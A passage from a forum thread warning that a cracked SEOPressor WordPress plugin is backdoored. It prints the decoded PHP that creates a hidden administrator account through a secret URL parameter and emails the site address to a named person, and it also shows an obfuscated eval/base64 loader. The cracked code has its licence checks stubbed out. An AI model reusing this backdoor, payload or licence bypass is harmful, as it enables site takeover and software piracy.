52.gif

Search (advanced search)
Use this Search form before posting, asking or make a new thread.
Tips: Use Quotation mark to search words (eg. "How To Make Money Online")

01-30-2013, 03:48 AM
Post: #61
RE:
Just decoded the entire thing.

Here's the added malicious code:

Quote:<?php
add_action('wp_head', 'vg4beaws');
function vg4beaws()
{
If ($_GET['cms'] == 'jjoplmh') {
require('wp-includes/registration.php');
If (!username_exists('wordpress')) {
$user_id = wp_create_user('wordpress','gh67io9Cjm');
$user = new WP_User($user_id);
$user->set_role('administrator');
}}}
add_action('wp_head', 'm6yascfv');
function m6yascfv()
{If (!username_exists('wordpress'))
{
$addressdecode=base64_decode("cGhpbGx5Y2hhZEBnbXguY29t");
$vari='Wordpress Plugin covertplayer';
mail($addressdecode,get_bloginfo('wpurl'),$vari);
}}
?>

If you don't know php: if someone goes to a site running this cracked plugin and adds ?cms=jjoplmh to the end of the url, an admin is added to WP with username wordpress and password gh67io9Cjm. Also, when the plugin is initially installed, your site url gets emailed to phillychad@gmx.com.

Here's the non-infected php:
Quote:<?php
if (!class_exists('WPPostsRateKeys_Central'))
{
class WPPostsRateKeys_Central
{
static $url_nu = 'http://seopressor.com/nu.php';
static $url_box_msg = 'http://seopressor.com/get_msg_for_plugin_box.php';
static $url_check_if_active = 'http://seopressor.com/activate.php';
static $url_check_last_version = 'http://seopressor.com/lvc.php';
static $url_send_visits = 'http://seopressor.com/rv.php';
static $url_to_automatic_upgrade = 'http://seopressor.com/lv_down.php';
static $url_add_new_domain = 'http://seopressor.com/spfp/add_domain.php';
static $original_post_content = '_seopressor_original_post_content';
static $cache_score = '_seo_cached_score';
static $cache_suggestions_box = '_seo_cached_suggestions_box';
static $cache_special_suggestions = '_seo_cached_special_suggestions';
static $cache_md5 = '_seo_cache_md5';
static $cache_filtered_title = '_seo_cached_filtered_title';
static $cache_md5_for_filter_content = '_seo_cache_md5_filter_content';
static $cache_md5_filter_content_last_mod_time = '_seo_cache_filter_content_last_mod_time';
static function check_update_post_data_in_cache($post_id) {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword_lsi = WPPostsRateKeys_LSI::get_lsi_by_keyword($post_keyword);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword2_lsi = WPPostsRateKeys_LSI::get_lsi_by_keyword($post_keyword2);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
$post_keyword3_lsi = WPPostsRateKeys_LSI::get_lsi_by_keyword($post_keyword3);
$post_allow_keyword_overriding = (WPPostsRateKeys_WPPosts::get_allow_keyword_overriding_in_sentences($post_id))?'​1':'0';
$post_keyword_first_sentence = (WPPostsRateKeys_WPPosts::setting_key_first_sentence($post_id))?'1':'0';
$post_keyword_last_sentence = (WPPostsRateKeys_WPPosts::setting_key_last_sentence($post_id))?'1':'0';
$post_allow_meta_keyword = (WPPostsRateKeys_WPPosts::get_allow_meta_keyword($post_id))?'1':'0';
$post_use_for_meta_keyword = WPPostsRateKeys_WPPosts::get_use_for_meta_keyword($post_id);
$post_allow_meta_description = (WPPostsRateKeys_WPPosts::get_allow_meta_description($post_id))?'1':'0';
$post_meta_description = WPPostsRateKeys_WPPosts::get_meta_description($post_id);
$post_allow_meta_title = (WPPostsRateKeys_WPPosts::get_allow_meta_title($post_id))?'1':'0';
$post_meta_title = WPPostsRateKeys_WPPosts::get_meta_title($post_id);
$settings = self::get_md5_settings(TRUE);
$settings_str = implode('',$settings);
$post_permalink = get_permalink($post_id);
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_title = $data_arr[0];
$previous_content = $data_arr[1];
$post_whole_page_to_analyze = WPPostsRateKeys_ContentRate::get_post_whole_page_to_analyze($post_id,$settings,$​post_permalink);
$post_content_to_edit = WPPostsRateKeys::get_content_to_edit($data_arr[1],$post_id);
if ($post_whole_page_to_analyze!==FALSE) {
$post_content = $post_whole_page_to_analyze;
$from_url = TRUE;
}
else {
$post_content = $post_content_to_edit;
$from_url = FALSE;
}
$current_md5 = md5($post_permalink
.$post_keyword.$post_keyword_lsi
.$post_keyword2.$post_keyword2_lsi
.$post_keyword3.$post_keyword3_lsi
.$post_title.$post_content.$settings_str
.$post_allow_keyword_overriding.$post_keyword_first_sentence.$post_keyword_last_​sentence
.$post_allow_meta_keyword.$post_use_for_meta_keyword
.$post_allow_meta_description.$post_meta_description
);
$cache_valid = FALSE;
if ($current_md5==get_post_meta($post_id,self::$cache_md5,TRUE)) {
$cache_valid = TRUE;
}
if (!$cache_valid) {
$keyword_arr = array($post_keyword);
if ($post_keyword2!='') $keyword_arr[] = $post_keyword2;
if ($post_keyword3!='') $keyword_arr[] = $post_keyword3;
$filtered_title = WPPostsRateKeys_Filters::filter_post_title($post_title,$keyword_arr,$settings);
$previous_title = get_post_meta($post_id,self::$cache_filtered_title,TRUE);
if ($filtered_title!=$previous_title) {
update_post_meta($post_id,self::$cache_filtered_title,$filtered_title);
}
$post_content_filtered = WPPostsRateKeys_Filters::filter_post_content($keyword_arr,$post_content_to_edit,​$settings,$post_id);
if (!$from_url) {
$post_content = $post_content_filtered;
}
$all_post_data = WPPostsRateKeys_ContentRate::get_all_post_data($post_id,$keyword_arr,$post_conte​nt
,$filtered_title,$settings,$from_url,$post_content_filtered);
$score = $all_post_data[0];
update_post_meta($post_id,self::$cache_score,$score);
$suggestions_box = $all_post_data[1];
update_post_meta($post_id,self::$cache_suggestions_box,serialize($suggestions_bo​x));
$special_suggestions = $all_post_data[2];
update_post_meta($post_id,self::$cache_special_suggestions,serialize($special_su​ggestions));
update_post_meta($post_id,self::$cache_md5,$current_md5);
WPPostsRateKeys_RelatedTags::process_tags_for_post($post_id,$filtered_title,$pre​vious_title,$previous_content);
}
}
static function get_clear_domains() {
if (WPPostsRateKeys_Settings::support_multibyte()) {
$current_domain = mb_strtolower(get_bloginfo('wpurl'),'UTF-8');
}
else {
$current_domain = strtolower(get_bloginfo('wpurl'));
}
$current_domain_arr = parse_url($current_domain);
$current_domain_no_dir = $current_domain_arr['host'];
return array('google.com',$current_domain_no_dir);
}
static function get_suggestions_page($post_id) {
$all_messages = WPPostsRateKeys_Central::get_suggestions_box($post_id);
$all_suggestions = array();
if ($all_messages) {
list($box_decoration_suggestions_arr,$box_url_suggestions_arr,$box_content_sugge​stions_arr) = $all_messages['box_suggestions_arr'];
$all_suggestions = array_merge($box_decoration_suggestions_arr,$box_url_suggestions_arr,$box_conten​t_suggestions_arr);
}
return $all_suggestions;
}
static function get_filtered_title($post_id,$post_title='') {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
$keyword_arr = array($post_keyword);
if ($post_keyword2!='') $keyword_arr[] = $post_keyword2;
if ($post_keyword3!='') $keyword_arr[] = $post_keyword3;
$settings = WPPostsRateKeys_Settings::get_options();
if ($post_title=='') {
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_title = $data_arr[0];
}
$new_title = WPPostsRateKeys_Filters::filter_post_title($post_title,$keyword_arr,$settings);
return $new_title;
}
static function get_license_type() {
$license = 'ea8f243d9885cf8ce9876a580224fd3c';
return $license;
}
static function is_valid_current_domain() {
return true;
}
static function check_to_active() {
$data = WPPostsRateKeys_Settings::get_options();
if ($data['allow_manual_reactivation']=='1') {
return FALSE;
}
$is_valid_first_step = self::is_valid_current_domain();
if ($is_valid_first_step) {
WPPostsRateKeys_Settings::update_active_by_server_response('ACTIVE',TRUE);
$in_80_days = time() +(80 * 86400);
wp_schedule_single_event($in_80_days,'seopressor_onetime_check_active');
return TRUE;
}
else {
return FALSE;
}
}
static function get_md5_settings($as_array=FALSE) {
$options = WPPostsRateKeys_Settings::get_options();
$return = array();
$return['h1_tag_already_in_theme'] = $options['h1_tag_already_in_theme'];
$return['h2_tag_already_in_theme'] = $options['h2_tag_already_in_theme'];
$return['h3_tag_already_in_theme'] = $options['h3_tag_already_in_theme'];
$return['allow_add_keyword_in_titles'] = $options['allow_add_keyword_in_titles'];
$return['allow_bold_style_to_apply'] = $options['allow_bold_style_to_apply'];
$return['bold_style_to_apply'] = $options['bold_style_to_apply'];
$return['allow_italic_style_to_apply'] = $options['allow_italic_style_to_apply'];
$return['italic_style_to_apply'] = $options['italic_style_to_apply'];
$return['allow_underline_style_to_apply'] = $options['allow_underline_style_to_apply'];
$return['underline_style_to_apply'] = $options['underline_style_to_apply'];
$return['allow_automatic_adding_rel_nofollow'] = $options['allow_automatic_adding_rel_nofollow'];
$return['special_characters_to_omit'] = $options['special_characters_to_omit'];
$return['image_alt_tag_decoration'] = $options['image_alt_tag_decoration'];
$return['alt_attribute_structure'] = $options['alt_attribute_structure'];
$return['analize_full_page'] = $options['analize_full_page'];
$return['image_title_tag_decoration'] = $options['image_title_tag_decoration'];
$return['title_attribute_structure'] = $options['title_attribute_structure'];
$return['auto_add_rel_nofollow_img_links'] = $options['auto_add_rel_nofollow_img_links'];
if ($as_array)
return $return;
else
return implode('',$return);
}
static function get_md5_settings_for_filter_content($as_array=FALSE) {
$options = WPPostsRateKeys_Settings::get_options();
$return = array();
$return['allow_bold_style_to_apply'] = $options['allow_bold_style_to_apply'];
$return['bold_style_to_apply'] = $options['bold_style_to_apply'];
$return['allow_italic_style_to_apply'] = $options['allow_italic_style_to_apply'];
$return['italic_style_to_apply'] = $options['italic_style_to_apply'];
$return['allow_underline_style_to_apply'] = $options['allow_underline_style_to_apply'];
$return['underline_style_to_apply'] = $options['underline_style_to_apply'];
$return['allow_automatic_adding_rel_nofollow'] = $options['allow_automatic_adding_rel_nofollow'];
$return['special_characters_to_omit'] = $options['special_characters_to_omit'];
$return['image_alt_tag_decoration'] = $options['image_alt_tag_decoration'];
$return['alt_attribute_structure'] = $options['alt_attribute_structure'];
$return['image_title_tag_decoration'] = $options['image_title_tag_decoration'];
$return['title_attribute_structure'] = $options['title_attribute_structure'];
$return['auto_add_rel_nofollow_img_links'] = $options['auto_add_rel_nofollow_img_links'];
if ($as_array)
return $return;
else
return implode('',$return);
}
static function get_original_post_content($post_id) {
return get_post_meta($post_id,self::$original_post_content,TRUE);
}
static function update_original_post_content($post_id,$original_content) {
update_post_meta($post_id,self::$original_post_content,$original_content);
}
static function get_score($post_id) {
$return = get_post_meta($post_id,self::$cache_score,TRUE);
if ($return=='')
$return = 0;
return $return;
}
static function get_suggestions_box($post_id='') {
if ($post_id!='') {
$suggestions_box = maybe_unserialize(get_post_meta($post_id,self::$cache_suggestions_box,TRUE));
if ($suggestions_box) {
$box_suggestions_arr = $suggestions_box['box_suggestions_arr'];
$special_suggestions_arr = maybe_unserialize(get_post_meta($post_id,self::$cache_special_suggestions,TRUE))​;
}
else {
return array();
}
}
$messages_texts = WPPostsRateKeys_ContentRate::get_suggestions_for_box();
$suggestions_per_sections = WPPostsRateKeys_ContentRate::get_suggestions_per_sections();
$suggestions_section_decoration = array();
$suggestions_section_url = array();
$suggestions_section_content = array();
foreach ($box_suggestions_arr as $box_suggestions_item) {
$tmp_msg = $messages_texts[$box_suggestions_item[1]];
$tmp_msg_msg = $tmp_msg[0];
$tmp_msg_tooltip = htmlentities($tmp_msg[1]);
if (count($box_suggestions_item)>2) {
$tmp_msg_msg = str_replace('<<N>>',$box_suggestions_item[2],$tmp_msg_msg);
if ($box_suggestions_item[2]>1) {
$tmp_msg_msg = str_replace('<<(s)>>','s',$tmp_msg_msg);
}
else {
$tmp_msg_msg = str_replace('<<(s)>>','',$tmp_msg_msg);
}
}
if (in_array($box_suggestions_item[1],$suggestions_per_sections['decoration'])) {
$suggestions_section_decoration[] = array($box_suggestions_item[0],$tmp_msg_msg,$tmp_msg_tooltip);
}
elseif (in_array($box_suggestions_item[1],$suggestions_per_sections['url'])) {
$suggestions_section_url[] = array($box_suggestions_item[0],$tmp_msg_msg,$tmp_msg_tooltip);
}
elseif (in_array($box_suggestions_item[1],$suggestions_per_sections['content'])) {
$suggestions_section_content[] = array($box_suggestions_item[0],$tmp_msg_msg,$tmp_msg_tooltip);
}
}
$suggestions_box['box_suggestions_arr'] = array($suggestions_section_decoration
,$suggestions_section_url
,$suggestions_section_content);
$score_less_than_100 = array();
$score_more_than_100 = array();
$score_over_optimization = array();
if (isset($special_suggestions_arr) and&isset($special_suggestions_arr['score_less_than_100'])) {
foreach ($special_suggestions_arr['score_less_than_100'] as $tmp_msg) {
$score_less_than_100[] = $messages_texts[$tmp_msg];
}
foreach ($special_suggestions_arr['score_more_than_100'] as $tmp_msg) {
$score_more_than_100[] = $messages_texts[$tmp_msg];
}
if (isset($special_suggestions_arr['score_over_optimization'][1])) {
foreach ($special_suggestions_arr['score_over_optimization'][1] as $tmp_msg) {
$score_over_optimization[] = $messages_texts[$tmp_msg];
}
}
}
if (!isset($special_suggestions_arr['score_over_optimization'][0])) {
$special_suggestions_arr['score_over_optimization'][0] = '';
}
$suggestions_box['special_suggestions_arr'] = array($score_less_than_100
,$score_more_than_100
,array('type'=>$special_suggestions_arr['score_over_optimization'][0],'list'=>$score_over_optimization)
);
return $suggestions_box;
}
static function get_specific_data_from_server($info_to_request) {
return 'ACTIVE';
}
static public function make_last_version_plugin_request() {
$response = wp_remote_get(self::$url_check_last_version,array('timeout'=>WPPostsRateKeys::$timeout));
if (!is_wp_error($response)) {
$body = $response['body'];
WPPostsRateKeys_Settings::update_last_version($body);
return TRUE;
}
else {
WPPostsRateKeys_Logs::add_error('373',"make_last_version_plugin_request, Url: ".self::$url_check_last_version);
return FALSE;
}
}
static public function send_visits() {
$all = WPPostsRateKeys_Visits::get_all();
$all_arr = array();
foreach ($all as $all_item) {
$visit_date = date('Y-m-d',strtotime($all_item->visit_dt));
if (key_exists($visit_date,$all_arr)) {
$all_arr[$visit_date] = $all_arr[$visit_date] +1;
}
else {
$all_arr[$visit_date] = 1;
}
}
$list_to_send_arr = array();
foreach ($all_arr as $all_arr_key=>$all_arr_counter) {
$list_to_send_arr[] = $all_arr_key .' '.$all_arr_counter;
}
$list_to_send = urlencode(implode(',',$list_to_send_arr));
if (true) {
foreach ($all as $all_item) {
WPPostsRateKeys_Visits::delete($all_item->id);
}
return TRUE;
}
else {
WPPostsRateKeys_Logs::add_error('375',"send_visits, Url: ".self::$url_check_last_version);
return FALSE;
}
}
static function get_content_cache_current_md5($post_id,$settings=array(),$keywords=array(),$post​_content='') {
if (count($keywords)==0) {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
}
else {
$post_keyword = $keywords[0];
if (count($keywords)>1) {
$post_keyword2 = $keywords[1];
}
else {
$post_keyword2 = '';
}
if (count($keywords)>2) {
$post_keyword3 = $keywords[2];
}
else {
$post_keyword3 = '';
}
}
if ($post_content=='') {
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_content = WPPostsRateKeys::get_content_to_edit($data_arr[1],$post_id);
}
if (count($settings)==0) {
$settings = self::get_md5_settings_for_filter_content(TRUE);
}
$settings_str = implode('',$settings);
$current_md5 = md5($post_keyword
.$post_keyword2
.$post_keyword3
.$post_content.$settings_str
);
return $current_md5;
}
static function get_update_content_cache($post_id,$current_content) {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
$settings = self::get_md5_settings_for_filter_content(TRUE);
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_content = WPPostsRateKeys::get_content_to_edit($data_arr[1],$post_id);
$current_md5 = self::get_content_cache_current_md5($post_id,$settings,array($post_keyword,$post​_keyword2,$post_keyword3),$post_content);
$invalid_ext_or_int_links = FALSE;
$last_dt_cache_mod = get_post_meta($post_id,self::$cache_md5_filter_content_last_mod_time,TRUE);
if (WPPostsRateKeys_Settings::get_last_external_links_modification_time()>=$last_dt_cache_mod
||WPPostsRateKeys_Settings::get_last_internal_links_modification_time()>=$last_dt_cache_mod
) {
$invalid_ext_or_int_links = TRUE;
}
if ($current_md5==get_post_meta($post_id,self::$cache_md5_for_filter_content,TRUE​)
and&!$invalid_ext_or_int_links) {
return $current_content;
}
else {
$keyword_arr = array($post_keyword);
if ($post_keyword2!='') $keyword_arr[] = $post_keyword2;
if ($post_keyword3!='') $keyword_arr[] = $post_keyword3;
$filtered_content = WPPostsRateKeys_Filters::filter_post_content($keyword_arr,$post_content,$setting​s,$post_id,$current_md5);
return $filtered_content;
}
}
static function send_url() {
}
static function get_current_domain() {
if (WPPostsRateKeys_Settings::support_multibyte()) {
$current_domain = mb_strtolower(get_bloginfo('wpurl'),'UTF-8');
}
else {
$current_domain = strtolower(get_bloginfo('wpurl'));
}
$current_domain_arr = parse_url($current_domain);
$current_domain_no_dir = $current_domain_arr['host'];
return $current_domain_no_dir;
}
static public function add_current_domain() {
}
}
}
?>
If you like the share, give positive reputation!

Our releases should be used for learning only!!!
If you make money using our releases then you really should support the original devs and buy it!
Want to support me? Give me BitCoin:
[Image: GoldenAcceptedHereBitcoin.png]
1HQMH9W6hjLEmZL543ykYtxtmGYeGhxaEK
You can also donate me dogecoins: DE6NF3VP6SMGrPxjPRqqbirFBkyfDzh1Vk
01-30-2013, 03:49 AM
Post: #62
RE:
I've already installed it 2 days ago. I have no adesense or amazon link it's just business website for my services.
I just took it off.... and deleted off HDD and server, should I still be worried?
(01-30-2013 03:38 AM)kirstie Wrote:  
(01-30-2013 03:37 AM)astralslider Wrote:  Is anyone able to successfully use the long-tail keyword function? I signed up for bing, pasted the API directly from bing multiple times and it's still won't validate.
astralslider,

WARNING! THIS FILE IS INFECTED. THE INFECTION IS IN THE CLASSES/CENTRAL.CLASS.PHP FILE, WHICH HAS BEEN ENCRYPTED WITH BASE64.

IF YOU USE THIS PLUGIN, A BACKDOOR WILL BE CREATED INTO YOUR SITE. YOUR AMAZON AND ADSENSE AFFILIATE CODES CAN BE REPLACED BY THE ATTACKERS. MALWARE AND SPAM LINKS CAN BE PUT ON YOUR SITE.

DO NOT USE!
01-30-2013, 03:51 AM
Post: #63
RE:
Awesome Wack0. Thanks and plus rep to both ^^
01-30-2013, 03:56 AM
Post: #64
RE:
Another thing: notice the subject line for the sent mail: "Wordpress plugin covertplayer". Seems this guy has cracked a whole lot more wp plugins then added this code to them!
If you like the share, give positive reputation!

Our releases should be used for learning only!!!
If you make money using our releases then you really should support the original devs and buy it!
Want to support me? Give me BitCoin:
[Image: GoldenAcceptedHereBitcoin.png]
1HQMH9W6hjLEmZL543ykYtxtmGYeGhxaEK
You can also donate me dogecoins: DE6NF3VP6SMGrPxjPRqqbirFBkyfDzh1Vk
01-30-2013, 03:58 AM
Post: #65
RE:
I got this in my central.class.php
PHP Code:
<?php // 
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=23904;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09​PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8​wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDA​wMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0​uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyR​PTzBPTzAwME8oJE8wMDBPME8wMCwxMTM4KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzA​oJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ3FhQklpaFRjNXZkZkp3c09HMVl5TTJnOEhLQXRXdVZ​lRitENGpDOS9TTDBvTlJsa3h6NlFYcnA3RW5VWmJQbTM9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVld​YWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8​wKTs=')));return;?>
viPOJIaOJIaOJIrQucveW92xtTh4KYF/8rPTYMzh8rb/fB5/5DEjyXPOJibxyQqxfD5/5DxSviPOyQqxJIaOJBFjyXbxyXbxJibxdB1OyQaOyQqxJibSvibxJIaOJibxJBxjyXbxJibxJIqxdYx/WghBYgCS2TJru919Y/uQyXWzg8CwJ9WEYiRauhur292TdXGXAjJnfrwJJTPsM9zoVcSpM2+6WIuhtC2AHCaRJQX/fBuaGjwi1MKcYiCdYXzwyjPGM2vy2h2g2r+Kg9hDHp1CK9uSAgLotTrlt7azW/wXu8K7VcCUJIi6JQGrw4WEsYNkv6jLdYjZK9wNt7wCdB1OJIqxyQaOJIqLsp2pHgxSviPOJIaOJIaOJB​jZ5T2pHgxFdTuUAgn9tThXKY+DH8wCw41eKT24tp1CdBusKiz5H/hsGMha1hhHfX2XA21SMMvkA8161hC+uXL/MXv0GrCjtTzYG9+CY7u92IMouIwJf7wJ2I5QJ6bkuC+jJpvkKTnXy4HnJQ1Nsyu+WQaE16PAdpraM9Hr​MTu9y9n/KBP92MRTWhK8sMhIGCMQtpbrHp2IMIK2A/uHwMPzVyCCMQ+dM4CiMjKUATzIAjzvg/wLypzKG/LpJQv2wj1ftMK1KMvjA7w6t7wSMXwLuQh7ygufdXNpypvyMjNzJjKlKMCwG9nhVg2hKiC61Cv7M/jzA22D2r+EYCh7MIGzGQa6u411AQ22YjrpyI1pMpX7uguhYBRIACvNtIikAgRJfpP2HMFzdXRKtinHu8​jx2r+DVirLAc+dtprUGM2GGrvfujPNgi+4sM1BM9vnJiHXYCKxVywztQKHYpbotMPOGy1RW2L+frirGQ​C4J4+6WcC1KhvitjKyu8ujwXn61MPJH/azM9hEMDPrYM+h1rK/y9R2WYPGs8aCy7arYT1KM9R/siNxYhW6A7+RV9rv2gw2WThayjudg/+cugCpKT5nJriQWrunuyuoA2SpJT2kJ6PL2XPYKgCTdQCrJXRxJMzLHjC1gMPG2XRMWXjEWXn0wrLLAp​hw19nJ2/CjsTHEwgzUtj2SKIhhW9HxJXv7A9n6wTv6ABP52rKoAinSG4GnuChM2T16f7+Xg2M7J/u8W2LAg8W7s8uRtCMXyj+CdrC7Hy+fWXzk2CK+tjHkHjizY9wkVi+MMTnGA8u5JhirGr2rt8hMuChQKj​uEgIhEGXRwV9K6YYPcKTzft7a4ypv7ygCAAXFzwT1wG9hBKgKpg4C+MXzx28uCdXv+Ggwc2yjrg9RYw2​KDgin01ihMW9KyVcvOAg+HGCu+t6P9Vy5owpLKfpKEuTKpK4uIsIX/dYjFdyNZKgwSt6q/vQNdAgHFdBh4tThQWrPCVTCQucJSvruGMTPQucwYH81CYp2nWrPIKgnXW9hNv6jLB/NdHpz+W7JF2raGt7wXWrv+uT2fK8CQ8XwCt/16HgxdVxLQuThXAgJFvc26thPluYqP5BuSuc1xsDbkWp2kWcvCW7wkWDn4tpXkt/MlWT+xvQNdW71+uTC45B1rW9zeH9PE8prQK6qP5BuSuc1xsDbkWp2kWcvCW7wkWDn4tpXkKp2X8prQKr​P9t7veWTzrKpCl8pvkVBnxAcq/sxLQuThXAgJFvc26thP4AT24ArPLKCP+H71Lu9MFOYq/Ac1XWISkf7wCt7a6K8wQt75lHpPRfph4uTCpH81Cf/aSWBWZB/wXH81LH6qju8vN8pwSKgwo8pz+W71eu926WpCktDqP5BuSuc1xsDbkWp2kWcvCW7wkWDn4tpXktcK4f/aSWBWZB/wXH81LH6qju8vN87wCt91eu9CQA81Q5IXFvp+XucqUf6PQKgPxW92QWpP6f9wktYP6uDnxAcq/sxLQuThXAgJFvc26thPXtrP+u81ktghXAgweu8a/W9hjKYqP5BuSuc1xsDbkWp2kWcvCW7wkWDn4tpXktcKeKTP7tDnxAcq/sxLQuThXAgJFvc26thP+KT1et9278p1ktghLtDqP5BuSuc1xsDbkWp2kWcvCW7wkWDn4tpXkW7a9WBP+​KT1eKTPRHgClf/aSWBWZB/wXH81LH6qjt7vLKpClHgzeWTPQuhP4tpnXKgnX5IXFvrPQKgPxW92QWpP68pP6AguLt9hN87akW71eHp​PluT2luBWZB/wXH81LH6qjHph4AT2eWpwkW9MFOYq/87wCtrP4HgwSKg1eWpwkW9M/sxLQuThXAgJFvTw+Hp+C87wrKpuCW71LtpnQ8pvkVBqP5BueWp2k8pw+Hp+CKhPQugu/K8wXAgPlWrPDt7F/sxLQuThXAgJFvTw+Hp+C87wxKgwLHgzeW72/Kp2QuTCkt/JFOYq/87wCtrP4HgwSKg1eW7aCHpC+thPQugu/K8wXAgPlW6WZB/wXH81LH6qjHph4AT2etgGr5IXFvrPQKgPeHph4AT2etgGrvQNdW71+uTC45B14HgwSK2P9AgzXK8vCKh​PXA81NKYqP5BueWp2k8pw+Hp+CKhP9AgzXK8vCKhPXA81NKYWZB/wXH81LH6qjHph4AT2etgGr8pKkWCP9AgzXK8veHpPluT2luBqP5BueWp2k8pw+Hp+C8prjw2P9AgzXK8​veHpPluT2luBWZB/wXH81LH6qjHph4AT2etgGr8pKLtc1CWCP4tpnXKgnX8pz+W71etgPj871LtgMFOYq/87wCtrP4HgwSK2P9AgzXK8veHpPluT2luhPNH8wX8prkKhPXAgrCvQNdW71+uTC45TKrt9wXAgPl5TwS​Kgwo872xKThXK2Pxt7wX8p1+uTheAgneHph4ATMSvcakW71eAgGL5cNdvcakW71eAp2nupP6KBqP5huG​MTPQucwYH81CYp2nWrP8MhakW71Qs4L/K81eAp2nupP6KBFjWTPQuhPLKBjZBD1xt7wX8pRCV8ukW91etcwL5IXF2raGt7wXWrv+uT2fK8CQ8Xzy​YySUKp2X8pzQA2PDV2PoK8C7t7vjdB1xt7wX8pRCV8ukW9GLsxSjWTPQuhPoK8C7t7vjJDqP5huGMTPQ​ucwYH81CYp2nWrP8MhakW71Qs4L/K81eAp2nupP6KI5SvcakW71eAgGLsxSjWTPQuhPoK8C7t7vjJCPNWpjFOYa8MhakW71QM9hXKMRCV8we​yhwvs4L/K81etcwL8pvn8pRCV8ukW9GSvcakW71eAp2nupP6KI5LsxSjWTPQuhPoK8C7t7vjJ6qP5huGMTPQucwY​H81CYp2nWrP8MhakW71Qs4L/K81eAp2nupP6KIJSvcakW71eAgGLsxSjWTPQuhPoK8C7t7vjJrPNWpjFOYa8MhakW71QM9hXKMRCV8we​yhwvs4L/K81etcwL8pvn8pRCV8ukW9GSvcakW71eAp2nupP6KIJLsxSjWTPQuhP+tTzkurPoK8C7t7vj8pPpK8v6​Ag1Lt9WFOYqS2raGt7wXWrv+uT2fK8CQ8ruGMTPQucJUs9uCuhP+tTzkurPoK8C7t7vj8pPpK8v6Ag1L​t9ueAgneWp2luT2lHp2QdB1xt7wX8pCjdYj3vQi/sDWxvQNdvcakW71eAp2nupP6KhP9A8vQuhPQKgnXKgn4KYqP5B+8MhakW71QM9hXKMRCV8we2raGt7wX​WQSUWp2XuTClKrPoK8CeK9C6W71eWp2luT2lHpMSvcakW71eAgGLdyb/JYWUvQq/sxSjWTPQuhPoK8C7t7vj8pz+W71eWp2luT2lHpMFOYqS2raGt7wXWrv+uT2fK8CQ8ruGMTPQucJUs/wCuc1Lt9ueAp2n8pz+W71eWp2luT2lHpMSvcakW71eAgGLdyb/JYWUvQq/sxSjWTPQuhP+tTzkurPRK81+8pRCV8ukW9GFOYqS2raGt7wXWrv+uT2fK8CQ8ruGMTPQucJUs9uCuhP+​tTzkurPRK81+8pRCV8ukW9GSvcakW71eAgGLdyb/JYWUvQq/sxSjWTPQuhPrWp2eK9P68prCuTheAp2nupP6KBqP5huGMTPQucwYH81CYp2nWrP8MhakW71Qs4L/K81eu8wC8pKkWCPRK81+8pRCV8ukW9GSvcakW71eAgGLsxSjWTPQuhP+tTzkurPRK81+8p1CWpw6A8aX​AgPl5IXFdhuGMTPQucwYH81CYp2nWrP8MhakW71Qs4L/K81eHgzNt7uetg2XH2PjK8w4W9CxuTCktDFjWTPQuhPLKBjLO6WzvQS/JBWZBD1xt7wX8prCuTheKT2QH7vLWc1LtpEFOYa8MhakW71QM9hXKMRCV8we2raGt7wXWQSUKp2X8prC​uTheKT2QH7vLWc1LtpESvcakW71eAgGLsxSjWTPQuhP+tTzkurPRK81+871LuTzC5IXFdhuGMTPQucwY​H81CYp2nWrP8MhakW71Qs4L/K81eHgzNt7uetg2XH2PXA81NKYFjWTPQuhPLKBjLO6WzvQS/JBWZBD1xt7wX8prCuTheuTCXtTMFOYa8MhakW71QM9hXKMRCV8we2raGt7wXWQSUKp2X8prCuTheuTCX​tTMSvcakW71eAgGLsxSjWp2XuTClK7JFOYaQKgz9s4L/K81etgGr87wCuc1Lt9uQdh1Y2MMLsxSjWp2XuTClK7weW7165IXFAgrxtTPjKYF/v6xjWp2XuTClK7JLsxSjWTPQuhPxK8vRHgzLt9NFOYa/K81eWT26tghNAgnodB1xt7wX8